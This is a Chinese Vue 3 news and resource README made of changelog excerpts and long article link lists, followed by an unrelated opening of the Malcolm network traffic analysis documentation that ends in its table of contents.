源代码，源码地址：https://github.com/vuejs/vue-next 。虽然目前还 处于 Pre-Alpha 版本，但是可以预见后面的 Alpha、Beta 等版本应该不会太遥远。 之前，就有预言，除了性能优化、脚手架和新功能外，TypeScript 绝对是一个重点，因此，在 Vue 3.0 源代码版本中，98%代码由 Typescript 编写，相信后面会是 100%。 通过本次发布的源代码可以了解到针对 Vue 3 计划并已实现的主要架构改进和新功能。 Vue 3 中最主要的新特性：组合式 API，已经可以借助 https://github.com/vuejs/composition-api （在 Vue 2 项目中作为插件使用）体验到。  yyx990803 3.2.22](https://github.com/vuejs/vue-next/compare/v3.2.21...v3.2.22) (2021-11-15) - **compiler-sfc:** add type for props include Function in prod mode ([#4938](https://github.com/vuejs/vue-next/issues/4938)) ([9c42a1e](https://github.com/vuejs/vue-next/commit/9c42a1e2a3385f3b33faed5cdcc430bf8c1fc4b2)) - **compiler-sfc:** add type for props's properties in prod mode ([#4790](https://github.com/vuejs/vue-next/issues/4790)) ([090df08](https://github.com/vuejs/vue-next/commit/090df0837eb0aedd8a02fd0107b7668ca5c136a1)), closes [#4783](https://github.com/vuejs/vue-next/issues/4783) - **compiler-sfc:** externalRE support automatic http/https prefix url pattern ([#4922](https://github.com/vuejs/vue-next/issues/4922)) ([574070f](https://github.com/vuejs/vue-next/commit/574070f43f804fd855f4ee319936ec770a56cef0)), closes [#4920](https://github.com/vuejs/vue-next/issues/4920) - **compiler-sfc:** fix expose codegen edge case ([#4919](https://github.com/vuejs/vue-next/issues/4919)) ([31fd590](https://github.com/vuejs/vue-next/commit/31fd590fd47e2dc89b84687ffe26a5c6f05fea34)), closes [#4917](https://github.com/vuejs/vue-next/issues/4917) - **devtool:** improve devtools late injection browser env detection ([#4890](https://github.com/vuejs/vue-next/issues/4890)) ([fa2237f](https://github.com/vuejs/vue-next/commit/fa2237f1d824eac511c4246135318594c48dc121)) - **runtime-core:** improve dedupe listeners when attr fallthrough ([#4912](https://github.com/vuejs/vue-next/issues/4912)) ([b4eb7e3](https://github.com/vuejs/vue-next/commit/b4eb7e3866d7dc722d93a48f4faae1696d4e7023)), closes [#4859](https://github.com/vuejs/vue-next/issues/4859) - **types/sfc:** fix withDefaults type inference when using union types ([#4925](https://github.com/vuejs/vue-next/issues/4925)) ([04e5835](https://github.com/vuejs/vue-next/commit/04e58351965caf489ac68e4961ef70448d954912)) ... **v3.0.0 One Piece**  Today we are proud to announce the official release of Vue.js 3.0 "One Piece". This new major version of the framework provides improved performance, smaller bundle sizes, better TypeScript integration, new APIs for tackling large scale use cases, and a solid foundation for long-term future iterations of the framework. [One Piece. Vuejs 3.0 正式版发布！代号：海贼王](https://github.com/vue3/vue3-News/issues/21) **🔥🐔2020 前端面试秘籍** [【吐血整理清单一】前端面试全攻略，为您保驾护航，金三银四](https://github.com/vue3/vue3-News/issues/9?content_source_url=https://github.com/vue3/vue3-News) [【吐血整理清单二】前端面试全攻略，为您保驾护航，金三银四](https://github.com/vue3/vue3-News/issues/10?content_source_url=https://github.com/vue3/vue3-News) [【吐血整理清单三】前端面试全攻略，为您保驾护航，金三银四](https://github.com/vue3/vue3-News/issues/11?content_source_url=https://github.com/vue3/vue3-News) 秘籍在手，天下我有； 只要你想进，那么世界就是你的。 **🐔 前端整理之道** [【整理】前端优化得有个好手段，比如看这个清单 🍑🍒🍓🍆🌽](https://github.com/vue3/vue3-News/issues/8?content_source_url=https://github.com/vue3/vue3-News) [【整理】前端学习笔记总结清单，应有尽有 🍇🍈🍉🍊🍋](https://github.com/vue3/vue3-News/issues/7?content_source_url=https://github.com/vue3/vue3-News) **🦃 关于 TypeScript** [【2020-Q1-News】TypeScript 新鲜一波流，自己品尝？](https://github.com/vue3/vue3-News/issues/6?content_source_url=https://github.com/vue3/vue3-News) [【最新】TypeScript 梳理知识点列表，可否一战？](https://github.com/vue3/vue3-News/issues/4?content_source_url=https://github.com/vue3/vue3-News) [【必会】都已经 9102 年底了，你必须会 TypeScript。](https://github.com/vue3/vue3-News/issues/3?content_source_url=https://github.com/vue3/vue3-News) 为什么要学习它？ 因为： - 按需输出 JavaScript 版本 - 代码标准化利于团队开发 - 主流框架及最新特性的支持 - 便于重构和主流 IDE 支持 - 更多友好特性和检测 ... 哈哈哈，并不是，是因为都已经 2020 了，大公司和你们都在用。 ## Vue3-CheatSheet 由 Vue Mastery 网站归纳的 Vue 3 Cheat Sheet， 直观地概况了其主要特性。 | Vue3 Cheat Sheet | Vue3 Cheat Sheet | | ----------------------------------- | ----------------------------------- | |  |  | ## Votar ⚡ Explore high-performance tooling for Vue **Vue Language Features** Vue language support extension for VSCode **TypeScript Vue Plugin** VSCode extension to support Vue in TS server **vue-tsc** Type-check and dts build command line tool Discord: https://discord.gg/5bnSSSSBbK https://github.com/johnsoncodehk/volar ## vueuse [antfu/vueuse](https://github.com/antfu/vueuse?content_source_url=https://github.com/vue3/vue3-News) like React hooks. Collection of essential Vue Composition API utils works for Vue 2.x and 3.x https://vueuse.js.org/ Collection of essential Vue Composition API (inspired by react-use) **🚀 Features** - ⚡ 0 dependencies: No worry about your bundle size - 🌴 Fully tree shakable: Only take what you want - 🦋 Type Strong: Written in Typescript - 🕶 Seamless migration: Works for both Vue 3 and 2 - 🌎 Browser compatible: Use it though CDN - 🎪 Interactive docs & demos: Check out the Storybook! - 🔌 Optional Add-ons: Firebase, vue-i18n, etc ## 新年新气象 新的一年，继续前行；希望各位顺顺利利，心想事成。  ## 💃🏻 撸 vue3 的姿势 💃🏻 🐯 🦁 🐮 🐷 🐹 🦊 霸气姿势观望 `vue3` 核心技术 ing - Proxy：不只是解决了 defineProperty 的局限性。 - Performance：性能更比 Vue 2.0 强。 - Tree shaking support：可以将无用模块“剪辑”，仅打包需要的。 - Composition API：组合 API。 - Fragment, Teleport, Suspense：“碎片”，Teleport 即 Protal 传送门，“悬念”。 - Better TypeScript support：更优秀的 Ts 支持。 - Custom Renderer API：暴露了自定义渲染 API。 TODOLIST： - 1 Docs & Migration Guides - 2 Router - 3 Vuex - 4 CLI - 5 新工具：vite（法语 “快”） - 6 vue-test-utils - 7 DevTools - 8 IDE Support (Vetur) - 9 Nuxt 介绍 Vue.js 以及 Vue-next 源码分析文章，希望通过学习 Vue.js 源码获得更好的知识和收获。 [【这是入口】你要找的 vue 源码 全宇宙的都在这！](https://github.com/vue3/vue3-News/issues/16?content_source_url=https://github.com/vue3/vue3-News)  ## 「我是要成为海贼王的男人」 2021 => 我最棒(๑•̀ㅂ•́)و✧ - [2021 前端会有什么新的变化？](https://www.zhihu.com/question/428128531?content_source_url=https://github.com/vue3/vue3-News) - [2021 年前端工程师书单推荐](https://juejin.cn/post/6920428989181870094?content_source_url=https://github.com/vue3/vue3-News) - [阿里巴巴淘系技术-2021 年前端会有什么新变化？](https://juejin.cn/post/6920487374543831053?content_source_url=https://github.com/vue3/vue3-News) - [从 2020 看 2021 前端发展趋势](https://juejin.cn/post/6912435101452206088?content_source_url=https://github.com/vue3/vue3-News) - [2021 前端学习路径书单—自我成长之路](https://juejin.cn/post/6930419481835470861?content_source_url=https://github.com/vue3/vue3-News) - [2021 前端会有什么新变化？](https://juejin.cn/post/6918701032264433672?content_source_url=https://github.com/vue3/vue3-News) - [2021 年毕业要不要学前端框架?](https://www.zhihu.com/question/355384140?content_source_url=https://github.com/vue3/vue3-News) - [2021 前端发展方向](https://www.cnblogs.com/qianduanpiaoge/p/14300390.html?content_source_url=https://github.com/vue3/vue3-News) - [2021 年前端开发的下一步发展预测 ](https://www.sohu.com/a/447955212_355140?content_source_url=https://github.com/vue3/vue3-News) - [2021 年前端趋势预测](https://developer.aliyun.com/article/781216?content_source_url=https://github.com/vue3/vue3-News) - [2021 年 Web 开发的主要趋势](https://zhuanlan.zhihu.com/p/324154627?content_source_url=https://github.com/vue3/vue3-News) - [你确定不了解下 2021 年 Web 开发的趋势嘛](https://zhuanlan.zhihu.com/p/344451653?content_source_url=https://github.com/vue3/vue3-News) - [前端规划：2021 前端技术战略](https://zhuanlan.zhihu.com/p/348509260?content_source_url=https://github.com/vue3/vue3-News) 🏆 🥇 🥈 🥉 迟序之数，非出神怪，有形可检，有数可推。——祖冲之 🏅 🎖 🏵 - [尤雨溪：Vue 3 将成为新的默认版本 ](https://www.sohu.com/a/518048813_115128?content_source_url=https://github.com/vue3/vue3-News) - [Vue3 默认版本了！我准备学这五个东西了](https://segmentfault.com/a/1190000041324242?content_source_url=https://github.com/vue3/vue3-News) - [基于 Vite 搭建开发体验超级丝滑的 Vue3 组件库开发框架](https://segmentfault.com/a/1190000041103446?content_source_url=https://github.com/vue3/vue3-News) - [Vue3.0+TS+Element-plus 最全面后台管理系统！](https://juejin.cn/post/7034766239192842276?content_source_url=https://github.com/vue3/vue3-News) - [Vite2 + Vue3 + TypeScript + Pinia 搭建一套企业级的开发脚手架【值得收藏】](https://juejin.cn/post/7036745610954801166?content_source_url=https://github.com/vue3/vue3-News) - [Vue3 中有哪些值得深究的知识点？](https://juejin.cn/post/7038794364251799560?content_source_url=https://github.com/vue3/vue3-News) - [Vue3 源码内参<一>手写 mini 前置准备](https://juejin.cn/post/7028471826627952671?content_source_url=https://github.com/vue3/vue3-News) - [Vue3 新特性学习(三)计算属性 computed 和侦听器 watch](https://juejin.cn/post/7024792752940384292?content_source_url=https://github.com/vue3/vue3-News) - [vue2 Vue3 v-model 原理](https://juejin.cn/post/7031839103914246181?content_source_url=https://github.com/vue3/vue3-News) - [包含前端最新技术的 Vue 3 模板 vue3-compact-template](https://juejin.cn/post/7026284849786781726?content_source_url=https://github.com/vue3/vue3-News) - [使用 vite2.0+vue3+element Plus+vue-router 搭建一个简单的项目](https://juejin.cn/post/7025899761198694431?content_source_url=https://github.com/vue3/vue3-News) - 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Frederik Dietz](https://dev.to/fdietz/vue-js-headless-component-10ag?content_source_url=https://github.com/vue3/vue3-News) - [Vue.js Functional Components - Frederik Dietz ](https://dev.to/fdietz/vue-js-functional-components-2495?content_source_url=https://github.com/vue3/vue3-News) [What you will love in Vue 3](https://vueschool.io/articles/news/what-you-will-love-in-vue-3-video/?content_source_url=https://github.com/vue3/vue3-News) Prepare yourself for what to expect in Vue 3 with Alex Kyriakidis' presentation from the Vue.js Amsterdam conference. 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I especially enjoyed the Vee-Validate v4 comparison. Check it out! [Vuetensils 0.6: Simpler Forms, Better Accessibility, & Useful Filters!](https://stegosource.com/vuetensils-0-6-simpler-forms-better-accessibility-useful-filters/?content_source_url=https://github.com/vue3/vue3-News) The latest version of Vuetensils has some really cool features: improvements to form authoring, accessibility updates, and new filters to make life easier. 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[茶余饭后聊聊 Vue3.0 响应式数据那些事儿](https://www.zoo.team/article/vue3) - [Vue3 都要上的 TypeScript 之工程实践](https://juejin.im/post/5dbd5fe36fb9a0208b12058f) - [vue_cli3.x 跨域访问](https://learnku.com/articles/28813) - [【译】Vue.js 3: 面向未来编程](https://juejin.im/post/5d4faef0e51d45621479acba) - [全面改革：解读 Vue 3.0 的变化](https://zhuanlan.zhihu.com/p/46269528) - [基于 vue3 function-based 构建 cnode 社区](https://github.com/xjh22222228/vue-cnode) - [vue3.0 后台管理框架基于 typescript（支持 pc\手机,抖音 rank 数据分析、Tiktok 数据) ](https://github.com/calvin008/weimumu-admin-web) - [从 WebPack 4.X 到 Vue-Cli 3.X 一篇就够](https://juejin.im/post/5dab320851882565f7660c5e) - [从 vue2.0 响应数据到 vue3.0 响应数据](https://juejin.im/post/5dac69bf5188252b51183982) - [Vue 3.0 源码逐行解析（一）：响应式模块（1）](https://juejin.im/post/5da91fcff265da5b852928e1) - [Vue3 数据驱动源码解读](https://juejin.im/post/5da9049c518825502a445a53) - [看 vue3 源码可以学到什么 : 一 、README](https://juejin.im/post/5dab12996fb9a04e247c9e8a) - [你为什么看不懂源码之 Vue 3.0 囊中取物](https://juejin.im/post/5daa195de51d4524a131b359) - [Vue 3 源码开放，今天你学习了吗？](https://segmentfault.com/a/1190000020598857) - [Vue 3.0 源码开放，看看都有哪些新特性](https://zhuanlan.zhihu.com/p/85343099) - [Vue 3.0 公开代码之后……](https://mp.weixin.qq.com/s/_9XaMyAv0NjJRvwKEEleuw) - [Vue3.0 响应式系统完全讲解(逐行)](https://juejin.im/post/5da2f98c6fb9a04e127152f1) - [Vue 3 原理剖析：数据响应系统](https://juejin.im/post/5d996e3e6fb9a04e3043cc5b) - [Vue3.x 源码调试](https://juejin.im/post/5d99d9a0f265da5b8601264c) - [为什么 Vue3.0 使用 Proxy 实现数据监听？defineProperty 表示不背这个锅](https://juejin.im/post/5da29a87518825094e37301c) - [Vue 3 响应式系统源码解析（单测篇）](https://zhuanlan.zhihu.com/p/85678790) - [浏览器中如何断点调试 Vue3 源码](https://juejin.im/post/5da442bb6fb9a04de42f76cf) - [简析 vue 3 的数据响应系统](https://juejin.im/post/5da2e6ad518825200b2d4d59) - [代理模式 Proxy 和 Vue3 数据响应系统](https://juejin.im/post/5da43211518825646c50f315) - [Vue3.0 数据响应式原理](https://juejin.im/post/5d9c9891f265da5b6b630151) - [Vue3 响应式系统源码解析(上)](https://juejin.im/post/5d9c9a135188252e097569bd) - [一张图理清 Vue 3.0 的响应式系统](https://segmentfault.com/a/1190000020629159) - [Vue3 响应式系统源码解析-Ref 篇](https://juejin.im/post/5d9eff686fb9a04de04d8367) - [五分钟看懂 Vue3-数据绑定](https://juejin.im/post/5d9dc63451882571e202cd58) - [浅析 Vue3 中的响应式原理](https://juejin.im/post/5d9ecf17f265da5bb065dba5) - [vue3 的数据响应原理和实现](https://segmentfault.com/a/1190000020636103) - [给 vue3 源码添加注释：数据响应式部分](https://juejin.im/post/5d9c41436fb9a04def4e5b1c) - [浅析 Vue3 数据响应系统](http://jungahuang.com/2019/10/11/about-vue3-proxy/) - [vue3 中 effect 与 computed 的亲密关系](https://juejin.im/post/5d9f5090e51d4578502c24b1) - [Vue3.0 中的 monorepo 管理模式](https://juejin.im/post/5d9edb225188253e3377537c) - [Vue3 watch 函数执行过程](https://juejin.im/post/5d99b5fb5188257377312c82) - [Vue3.0 中的数据侦测](https://juejin.im/post/5d99be7c6fb9a04e1e7baa34) - [使用 Proxy 实现 Vue.js 3 中的响应式思想](https://juejin.im/post/5d9ae2415188256eee1639e3) - [Vue 3.0 最新进展：Composition API](https://juejin.im/post/5d836458f265da03d871f6e9) - [公布了尚处于 Pre-Alpha 状态的 Vue 3 源码](https://www.oschina.net/news/110356/vuejs-v3-pre-alpha-released) ## 英文资料 - [What's New in vue-styleguidist 3.0](https://alligator.io/vuejs/vue-styleguidist-3/) - [Hooks are coming to Vue.js version 3.0](https://blog.logrocket.com/hooks-are-coming-to-vue/) - [what does vue 3 0 mean for web development](https://medium.com/@mattmaribojoc/what-does-vue-3-0-mean-for-web-development-851052fc0138) - [A Vue.js app demonstarting various use cases for the new composition API](https://github.com/LinusBorg/composition-api-demos) - [Why the Composition API - Vue 3 Essentials – Vue Mastery](https://www.vuemastery.com/courses/vue-3-essentials/why-the-composition-api/) - [Vue 3 – A roundup of infos about the new version of Vue.js - Made with Vue.js](https://madewithvuejs.com/blog/vue-3-roundup) - [GitHub - LinusBorg/composition-api-demos: A Vue.js app demonstarting various use cases for the new composition API](https://github.com/LinusBorg/composition-api-demos) - [Thought on Vue 3 Composition API - `reactive()` considered harmful](https://dev.to/ycmjason/thought-on-vue-3-composition-api-reactive-considered-harmful-j8c) - [Architecting HTTP clients in Vue.js applications for efficient network communication](https://dev.to/localeai/architecting-http-clients-in-vue-js-applications-for-effective-network-communication-1eec) - [10 Free resources to kickoff your career as a Vue Developer](https://dev.to/simonholdorf/10-free-resources-to-kickoff-your-career-as-a-vue-developer-4mg2) - [10 Vue Directives that make your dev lives easier!](https://dev.to/simonholdorf/10-vue-directives-that-make-your-dev-lives-easier-5dm7) - [10 Tips & Tricks to make you a better VueJS Developer](https://dev.to/simonholdorf/10-tips-tricks-to-make-you-a-better-vuejs-developer-4n4d) - [9 Projects you can do to become a Frontend Master in 2020](https://dev.to/simonholdorf/9-projects-you-can-do-to-become-a-frontend-master-in-2020-n2h) ## 2019 年中旬 天王盖地虎, 宝塔镇河妖 | 文章列表标题 | 介绍 | | ------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | I_am_a_placeholder_placeholder_placeholder | nothing | | [为 vue3 学点 typescript, 解读高级类型](https://segmentfault.com/a/1190000019925865) | 第一课, 体验 typescript;<br>第二课, 基础类型和入门高级类型;<br>第三课, 泛型;<br>第四课, 解读高级类型;<br>第五课, 什么是命名空间(namespace); | | [Vue 3.0：更快、更小、让开发者更轻松](https://juejin.im/post/5d70d03751882554841c4357) | 在 11 月 14 日-16 日于多伦多举办的 VueConf TO 2018 大会上，尤雨溪发表了名为 “ Vue 3.0 Updates ” 的主题演讲，对 Vue 3.0 的更新计划、方向进行了详细阐述。 | | [Vue 3.0 前瞻，体验 Vue Function API](https://segmentfault.com/a/1190000020038527) | 最近 Vue 官方公布了 Vue 3.0 最重要的 RFC：Function-based component API，并发布了兼容 Vue 2.0 版本的 plugin：vue-function-api，可用于提前体验 Vue 3.0 版本的 Function-based component API。笔者出于学习的目的，提前在项目中尝试了 vue-function-api。 | | [Vue 3.0 之前你必须知道的 TypeScript 实战技巧](https://mp.weixin.qq.com/s/7a7PjKmpMDObGkP_XBEi-Q) | 很多人对 TypeScript 的使用还停留在基本操作上,其实 TypeScript 的特性非常强大,我们利用好这些特性可以有效地提高代码质量、加速开发效率，今天就介绍 9 个非常实用的 TypeScript 技巧或者特性. | | [Vue CLI 3.x 与 2.x 的区别](https://juejin.im/post/5d4d2fc3f265da03c23ec246) | cli3 新增模式概念，每个模式在项目中都有对应的配置文件，项目启动时，对应的文件就会加载，与环境变量不同，一个模式可以包括多个环境变量。 | | [Vue 3.0 RFC API 的实现](https://juejin.im/post/5d54eb45e51d4561c02a251f) | Vue3.0 的 RFC 已经发布了几个月了，Vue 底层几乎没有变动，还是沿用原来响应式的。所以一直在思考能不能使用现在的版本，实现 RFC 中的 API，直到看到了 Vue Function API 这个库，这个库让开发者提前尝鲜到了 RFC 中的 API，当然作为 RFC，所以最终 3.0 的 API 还是未知的，以及底层的实现也还未知。 | | [Vue.js 3：面向未来编程（function-based API）](https://juejin.im/post/5d5623936fb9a06ac824417e) | 如果你在使用 Vue.js，那么可能知道这个框架的第 3 版就要出来了（如果你是在本篇文章发布后的一段时间看到这段话的话，我希望我的说法还是中肯的 😉）。新版本目前正在积极开发中，所以可能要加入的特性都可以在官方的 RFC（request for comments）仓库中看到：github.com/vuejs/rfcs 。其中有一个特性 function-api，将会在很大程度上影响我们未来 Vue 项目的编写方式。 | | [来自 Vue 3.0 的 Composition API 尝鲜](https://segmentfault.com/a/1190000020205747) | 前段时间，Vue 官方释出了 Composition API RFC 的文档，我也在收到消息的第一时间上手尝鲜。虽然 Vue 3.0 尚未发布，但是其处于 RFC 阶段的 Composition API 已经可以通过插件 @vue/composition-api 进行体验了。接下来的内容我将以构建一个 TODO LIST 应用来体验 Composition API 的用法。 | | [vue-cli 3.0 脚手架，从入门到放弃（二）](https://juejin.im/post/5d664e5f6fb9a06b317b731f) | 想写好代码，和用好一个工具是离不开的， 一般我们使用的工具有 HuilderX,sublimetext3，vscode，webstorm 等，个人目前使用的是 hb，和 vscode，可以根据个人爱好各自选择，但一定要熟练。 | | [vue-cli 3.0 脚手架，从入门到放弃（三）](https://juejin.im/post/5d67a791518825284734623c) | 来总结下流程， 从我们 npm run serve 开始，打开 localhost:8080 端口，首先会加载 index.html。然后去 app.vue 里查找路由组件，这是会调动 router.js 里的配置，选择首先要打开哪个文件，找到我们的那个 path：'/'的页面，浏览器显示。完成。 | ## 2019 年上旬 不要叫我达芬奇 2019.01-2019.07 - [尤雨溪大大在 6 月 4 日的 Vue3.0 的技术分享](https://segmentfault.com/a/1190000019391756) - [你了解 vue3.0 响应式数据怎么实现吗？](https://juejin.im/post/5cf8b51ae51d45590a445b0d) - [Vue 3.0 前的 TypeScript 最佳入门实践](https://mp.weixin.qq.com/s?__biz=MzI1NDU3NzM5Mg==&mid=2247483764&idx=1&sn=df7dbf5c4e910a6e1893a0b57b0dd727) - [Vue 3.0 的重大改动暴露了哪些问题](https://juejin.im/post/5d03140a5188253d592e070e) - [尤雨溪关于 VUE3.0 进展的重磅分享](https://mp.weixin.qq.com/s?__biz=Mzg2NDAzMjE5NQ==&mid=2247484394&idx=1&sn=9d929ffcc9172a102f1718926e721123) - [提前使用 Vue 3.0 新特性，vue-function-api 尝鲜](https://juejin.im/post/5d1705e65188255ca21e607e) - [为 vue3 学点 typescript(1), 体验 typescript](https://segmentfault.com/a/1190000019631849) - [精读《Vue3.0 Function API》](https://segmentfault.com/a/1190000019625934) - [为 vue3 学点 typescript, 基础类型和入门高级类型](https://segmentfault.com/a/11900000196) - [揭秘 Vue 3.0 最具潜力的 API](https://mp.weixin.qq.com/s/TwUubgCH0c0tue12CBNTzg) - [面向未来编程，如何在 Vue2 中使用 Vue3 的语法[实践篇]](https://juejin.im/post/5d25b6dde51d45775c73dd70) - [Vue CLI 3 项目构建基础](http://blog.poetries.top/2019/06/01/vue-cli3/) - [你了解 vue3.0 响应式数据怎么实现吗？](https://juejin.im/post/5cf8b51ae51d45590a445b0d) - [模拟 vue3.0 rfcs `createComponent` api 中的`props`类型推导](https://segmentfault.com/a/1190000019457171) - [Vue-cli 3.5.1 + Webstorm 使用手机访问演示页面](https://segmentfault.com/a/1190000018531202) - [用 vue3 公开的思路从 0 实现最简化的 vue](https://juejin.im/post/5cbc7a06f265da03587bfad0) - [在 WebStorm 中，配置能够识别 Vue CLI 3 创建的项目的别名 alias @](https://juejin.im/post/5c9477ad6fb9a070ce31b050) - [配置一个 vue3.0 项目](https://juejin.im/post/5cc18abdf265da039e1ff5fb) - [快速上手最新的 Vue CLI 3](https://segmentfault.com/a/1190000018989241) - [Vue-CLI 3.x 自动部署项目至服务器](https://segmentfault.com/a/1190000018729701) - [Vue-Cli 3.0 从 0 开始搭建项目（篇 1）](https://juejin.im/post/5ccd4580f265da038932a461) - [入手 vue-cli 3.x](https://segmentfault.com/a/1190000018833999) - [Vue-cli 3.5.1 + Webstorm 使用手机访问演示页面](https://segmentfault.com/a/1190000018531202) - [关于 vue-cli 3 配置打包优化要点](https://juejin.im/post/5cbc40ea6fb9a068b65e2aa6) ## 2018 年预告 天寒之时必封初冬 ### 1、[Vue CLI 3 搭建 vue+vuex 最全分析](https://yq.aliyun.com/articles/646152) > 介绍 Vue CLI 是一个基于 Vue.js 进行快速开发的完整系统。有三个组件： CLI：@vue/cli 全局安装的 npm 包，提供了终端里的 vue 命令（如：vue create 、vue serve 、vue ui 等命令） CLI 服务：@vue/cli-service 是一个开发环境依赖。 ### 2、[Vue.js 2 vs Vue.js 3 的实现](https://www.cnblogs.com/wwhhq/p/8196251.html) > vue.js 核心团队已经讨论过将在 Vue3 实现的变化。虽然 API 不会改变，但是数据响应机制（译者注：对数据改变的监听和通知）发生了变化。这意味着什么呢，同时它对你意味着什么呢？ ### 3、[vue3.0 快速创建项目](https://blog.csdn.net/xuqipeter/article/details/80452271) > vue3.0 使用了 cli3 快捷搭建的技巧和配搭 ### 4、[Vue.js 3.0 PPT（附部分中文翻译）](https://juejin.im/post/5bed9c31e51d4516f64d528a) > Evan You 刚刚发布了最新的 Vue 3 和他在 Vue Toronto 的演讲内容： ### 5、[vue3.0 初体验有哪些实用新功能](https://www.jianshu.com/p/0d78ff9fe6ed) > 关于项目创建，除了命令创建 3.x 还增加了图形化界面创建以及管理 vue 项目 > 在创建新项目时还可以混合选用多种集成 ### 6、[Vue 3.0 的生命周期](https://www.cnblogs.com/weihengblog/p/9241136.html) > ue 3.0 的生命周期多了哪些东西和其中又改变了什么 ### 7、[Vue-cli 3.0 初体验](http://www.imooc.com/article/79631) > 如今上 Vue 官网一看，脚手架都早已出 3.0 版了。唉，果然干这行一天不学习都感觉要落伍…… ### 8、[重磅！Vue CLI 3.0 正式发布，带来多项重大更新](https://baijiahao.baidu.com/s?id=1608931885589870861) > 近日，Vue 的作者尤雨溪在 Medium 上宣布正式发布 Vue CLI 3.0，它也将为很多开发者带来期待已久的新特性。 ### 9、[译文：Vue.js 3.0 开发计划](https://www.toutiao.com/a6611073486846689795/) > 在上周的 Vue.js 伦敦会议上我简短地透露了下个版本的 Vue 的新特性。这篇文章讲深入地阐述 ### 10、[Vue 下个版本的计划。Vue CLI 2&3 下的项目优化实践：CDN + Gzip + Prerender](https://www.toutiao.com/a6613157936636101127/) > 这些优化方案适用于 Vue CLI 2 和 Vue CLI 3 , 文章主要基于 Vue CLI 2 进行介绍，关于如何在 Vue CLI 3 中进行相关的 webpack 调整，我已经放在了 vue-cli3-optimization 这个仓库下，并配有详细的注释，且额外添加方便 Sass 使用的 loader，使用 Sass 时无需再在每个需要引入变量和 mixin 的地方，每次都很麻烦的 @import。下面将详细介绍这些优化方案的实践方式和效果。 ### 11、[Vue CLI 3 发布：精简配置，增加图形界面，还有这些新功能](https://www.toutiao.com/a6589191783790412301/) > 不同的项目往往有不同的需求，所以 webpack 这种高可配的打包工具才会火起来，但同时也被骂太复杂了。所以很多人就想简化或者封装配置，例如 facebook/create-react-app 将所有的配置脚本封装为 NPM 软件包。 ### 12、[专访 Vue 作者尤雨溪：Vue CLI 3.0 重构的原因](https://www.toutiao.com/a6598367147800396295/) > 上个月，Vue CLI 3.0 正式发布，为很多开发者带来期待已久的新特性，尤雨溪也说 Vue CLI 3.0 经历了重构，旨在尽可能减少现代前端工具在配置上的烦恼，并尽可能在工具链中加入最佳实践，让其成为 Vue 应用程序的默认实践。为了获取更多细节，InfoQ 采访了尤雨溪，以下是对采访内容的整理。 ### 13、[重磅！尤雨溪发布 Vue 3.0 开发路线](https://www.toutiao.com/a6607650510172324365/) > 在上周的 Vue.js 伦敦大会上，尤雨溪简要介绍了 Vue 下一个主要版本要发布的内容，9 月 30 日，尤雨溪在 medium 个人博客上发布了 Vue 3.0 的开发路线，全文如下 ## 卖艺不卖身 博学之，审问之，慎思之，明辨之，笃行之。 作者：[蓝少 (@bluezhan)](https://github.com/bluezhan) 版权声明：自由转载-非商用-非衍生-保持署名（[创意共享 3.0 许可证](http://creativecommons.org/licenses/by/4.0/)） ## License Released under the MIT License.

# <a name="Overview"></a>Overview  Malcolm processes network traffic data in the form of packet capture (PCAP) files or Zeek logs. A [sensor](live-analysis.md#Hedgehog) (packet capture appliance) monitors network traffic mirrored to it over a SPAN port on a network switch or router, or by using a network TAP device. [Zeek](https://www.zeek.org/index.html) logs and [Arkime](https://arkime.com/) sessions are generated containing important session metadata from the traffic observed, which are then securely forwarded to a Malcolm instance. Full PCAP files are optionally stored locally on the sensor device for later examination. Malcolm parses the network session data and enriches it with additional lookups and mappings including GeoIP mapping, hardware manufacturer lookups from [organizationally unique identifiers (docs/OUI)](http://standards-oui.ieee.org/oui/oui.txt) in MAC addresses, assigning names to [network segments and hosts](asset-interaction-analysis.md#AssetInteractionAnalysis) based on a user-defined asset inventory, performing [TLS fingerprinting](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967), and many others. This enriched data is stored in an [OpenSearch](https://opensearch.org/) document in a format suitable for analysis through two intuitive interfaces: OpenSearch Dashboards, a flexible data visualization plugin with dozens of prebuilt dashboards providing an at-a-glance overview of network protocols; and Arkime, a powerful tool for finding and identifying the network sessions comprising suspected security incidents. These tools can be accessed through a web browser from analyst workstations or on a display in a security operations center (SOC). Logs can also be forwarded on to another instance of Malcolm.  Malcolm can also easily be deployed locally on an ordinary consumer workstation or laptop for smaller networks, use at home, or in the field incident response engagements. Malcolm can process local artifacts such as locally generated Zeek logs, locally captured PCAP files, and PCAP files collected offline without the use of a dedicated sensor appliance. <a name="TableOfContents"></a> * [Quick start](quickstart.md#QuickStart) - [Getting Malcolm](quickstart.md#GetMalcolm) - [User interface](quickstart.md#UserInterfaceURLs) * [Components](components.md#Components) * [Supported Protocols](protocols.md#Protocols) * [Development](development.md#Development) - [Building from source](development.md#Build) - [Pre-Packaged installation files](development.md#Packager) * [Configuration](malcolm-preparation.md#Configuration) - [Recommended system requirements](system-requirements.md#SystemRequirements) - [Malcolm Configuration](malcolm-config.md#ConfigAndTuning) + [Environment Variable Files](malcolm-config.md#MalcolmConfigEnvVars) - [Configure authentication](authsetup.md#AuthSetup) + [Local account management](authsetup.md#AuthBasicAccountManagement) + [Lightweight Directory Access Protocol (LDAP) authentication](authsetup.md#AuthLDAP) * [LDAP connection security](authsetup.md#AuthLDAPSecurity) + [TLS certificates](authsetup.md#TLSCerts) - [Platform-specific Configuration](host-config.md#HostSystemConfig) + [Linux host system configuration](host-config-linux.md#HostSystemConfigLinux) + [macOS host system configuration](host-config-macos.md#HostSystemConfigMac) + [Windows host system configuration](host-config-windows.md#HostSystemConfigWindows) * [Running Malcolm](running.md#Running) - [OpenSearch instances](opensearch-instances.md#OpenSearchInstance) + [Authentication and authorization for remote OpenSearch clusters](opensearch-instances.md#OpenSearchAuth) - [Starting Malcolm](running.md#Starting) - [Stopping and restarting Malcolm](running.md#StopAndRestart) - [Clearing Malcolm's data](running.md#Wipe) - [Temporary read-only interface](running.md#ReadOnlyUI) * [Network traffic artifact upload](upload.md#Upload) - [Tagging](upload.md#Tagging) - [Processing uploaded PCAPs with Zeek and Suricata](upload.md#UploadPCAPProcessors) * [Live analysis](live-analysis.md#LiveAnalysis) - [Using a network sensor appliance](live-analysis.md#Hedgehog) - [Monitoring local network interfaces](live-analysis.md#LocalPCAP) - [Manually forwarding logs from an external source](live-analysis.md#ExternalForward) * [Arkime](arkime.md#Arkime) - [Zeek log integration](arkime.md#ArkimeZeek) + [Correlating 